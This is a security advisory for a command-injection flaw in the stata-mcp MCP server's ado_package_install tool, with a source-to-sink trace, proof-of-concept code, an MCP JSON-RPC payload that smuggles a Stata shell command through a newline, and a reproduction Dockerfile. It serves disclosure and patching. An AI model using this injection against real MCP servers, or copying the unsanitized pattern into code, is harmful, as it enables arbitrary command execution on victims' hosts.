Advisory

PYSEC-2026-3700

Also known as: CVE-2026-55071, GHSA-49m4-vp58-wgc9

Summary

MCP-for-Stata: Stata Command Injection via Unsanitized package in ado_package_install

Details

Stata Command Injection via Unsanitized package in ado_package_install

Summary

The ado_package_install MCP tool in stata-mcp concatenates user-controlled input directly into a Stata command string without any validation or sanitization. An attacker who can invoke the MCP tool or the equivalent Python API can embed newline characters in the package argument to inject arbitrary Stata commands. Because Stata supports a shell escape command, this leads to full OS-level arbitrary command execution (RCE) under the account running the Stata-MCP server. The tool is registered in the default all profile, so no non-default configuration is required. Base CVSS score is 8.4 (High).

Details

The vulnerability originates in SSC_Install.install():

# src/stata_mcp/stata/builtin_tools/ado_install/ssc_install.py:14-16
def install(self, package: str) -> str:
    install_command = f"ssc install {package}{self.REPLACE_MESSAGE}"
    runner_result = self.controller.run(install_command)

The package parameter is interpolated into an f-string with no allowlist check, newline rejection, or quoting. The resulting command string is forwarded to the Stata interpreter verbatim:

# src/stata_mcp/stata/stata_controller/controller.py:98-99
# Send the command
self.child.sendline(command)

pexpect.sendline() writes the full multi-line string to the Stata REPL, which executes each line as a separate Stata command. Because Stata's shell (and !) commands execute an OS shell command, a newline-delimited payload results in OS command execution.

The full source-to-sink data flow is:

  1. Exposure — src/stata_mcp/mcp_servers.py:626-632: _TOOL_REGISTRY registers ado_package_install in the all profile.
  2. Default activation — src/stata_mcp/cli/_handlers.py:295-300: when no --core/--all flag is given the profile defaults to all, so the tool is always enabled.
  3. Propagation — src/stata_mcp/mcp_servers.py:308-349: the MCP argument package is passed to installer(...).install(*args) without validation.
  4. Sink construction — src/stata_mcp/stata/builtin_tools/ado_install/ssc_install.py:15: package is interpolated into install_command.
  5. Delivery — src/stata_mcp/stata/stata_controller/controller.py:99: self.child.sendline(command) sends the attacker-influenced string to Stata.

A guard/blacklist (src/stata_mcp/guard/blacklist.py:41-60) registers shell, !, winexec, unixcmd, and similar strings as dangerous commands, but the GuardValidator that enforces this list is invoked only on the stata_do path and is not called anywhere in the ado-install path, making the guard entirely ineffective against this attack.

PoC

Prerequisites

  • Unix-like host with a configured Stata CLI, or use the provided Docker image which replaces the Stata binary with a minimal Python stub (fake_stata.py) that honours the shell command.

Container-based reproduction (no Stata license required)

# Build (run from the repository root)
docker build -t stata-mcp-poc-001 \
    -f vuln-001/Dockerfile \
    reports/pypiAi_828_SepineTam__stata-mcp/

# Run
docker run --rm stata-mcp-poc-001

Direct Python trigger (unmodified source)

import os
from stata_mcp.stata.builtin_tools.ado_install.ssc_install import SSC_Install

MARKER = "/tmp/stata_mcp_ado_poc"
PAYLOAD = f"outreg2\nshell touch {MARKER}\n//"

installer = SSC_Install("/usr/local/bin/stata", is_replace=True, timeout=10)
installer.install(PAYLOAD)

assert os.path.exists(MARKER), "RCE not confirmed"
print("RCE CONFIRMED — marker file created")

The payload "outreg2\nshell touch /tmp/stata_mcp_ado_poc\n//" is expanded by the f-string at ssc_install.py:15 into:

ssc install outreg2
shell touch /tmp/stata_mcp_ado_poc
//, replace

Stata executes the second line as an OS shell command. The trailing // comment neutralises the , replace suffix so Stata does not raise a syntax error.

MCP JSON-RPC trigger

{
  "tool": "ado_package_install",
  "arguments": {
    "source": "ssc",
    "package": "outreg2\nshell touch /tmp/stata_mcp_ado_poc\n//",
    "is_replace": true
  }
}

Expected output

[+] PASS - RCE CONFIRMED
[+] Marker file exists: /tmp/stata_mcp_ado_poc
[+] The injected Stata 'shell' command was executed by the REPL.

Phase 2 dynamic reproduction confirmed the marker file /tmp/stata_mcp_ado_poc was created inside the Docker container, and install() returned a string containing the injected command:

Installation State: False
ssc install outreg2\r\nshell touch /tmp/stata_mcp_ado_poc\r\n//, replace

Impact

This is a Code/Command Injection (RCE) vulnerability. Any principal who can call the ado_package_install MCP tool or the equivalent Python API — including an AI model or agent connected to the MCP server, a local script, or a remote HTTP client if the HTTP transport is exposed — can execute arbitrary OS commands with the privileges of the user running the Stata-MCP server.

Because the tool is registered in the default all profile and all is the default active profile, no misconfiguration by the victim is required. All users of stata-mcp on the affected version who run stata-mcp server are impacted.

Concrete consequences include: exfiltration of credentials and data accessible to the process, persistence via cron/startup entries, lateral movement within the local network, and complete compromise of the host user account.

Reproduction artifacts

Dockerfile

# Dockerfile for VULN-001 dynamic reproduction
# Build context must be the parent directory:
#   docker build -t stata-mcp-poc-001 -f vuln-001/Dockerfile .
#
# Vulnerability: Stata Command Injection via unsanitized `package` in
#   SSC_Install.install() (ssc_install.py:15).
#
# Strategy: replace the real Stata binary with a minimal Python script
#   (fake_stata.py) that honours the 'shell <cmd>' Stata command.
#   The vulnerable stata-mcp code is installed unmodified from the repo.

FROM python:3.11-slim

# Install pexpect -- the only runtime dependency required by the PoC
# (StataController imports pexpect; all other imports are stdlib-only).
RUN pip install --no-cache-dir pexpect==4.9.0

# ------------------------------------------------------------------
# Fake Stata binary
# ------------------------------------------------------------------
# Placed at /usr/local/bin/stata so StataFinder (Linux) can auto-discover
# it and the PoC can reference it by absolute path.
COPY vuln-001/fake_stata.py /usr/local/bin/stata
RUN chmod +x /usr/local/bin/stata

# ------------------------------------------------------------------
# Vulnerable package (unmodified source)
# ------------------------------------------------------------------
COPY repo/src /workspace/src
ENV PYTHONPATH=/workspace/src

# ------------------------------------------------------------------
# PoC script
# ------------------------------------------------------------------
COPY vuln-001/poc.py /workspace/poc.py

WORKDIR /workspace
CMD ["python3", "/workspace/poc.py"]

Severity

High Basis: CVSS v3 score 8.4, vector CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Dates

Published
2026-08-19 11:56 UTC
Modified
2026-08-19 12:45 UTC

Affected packages and fixes

stata-mcp

PyPI · All systems

Affected

  • introduced 0, fixed 1.19.0 (ecosystem)

Fixed versions

1.19.0

Fix

  • Fixed version 1.19.0
    pip install --upgrade stata-mcp==1.19.0

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: PyPA Advisory Database · CC BY 4.0

Sources & licences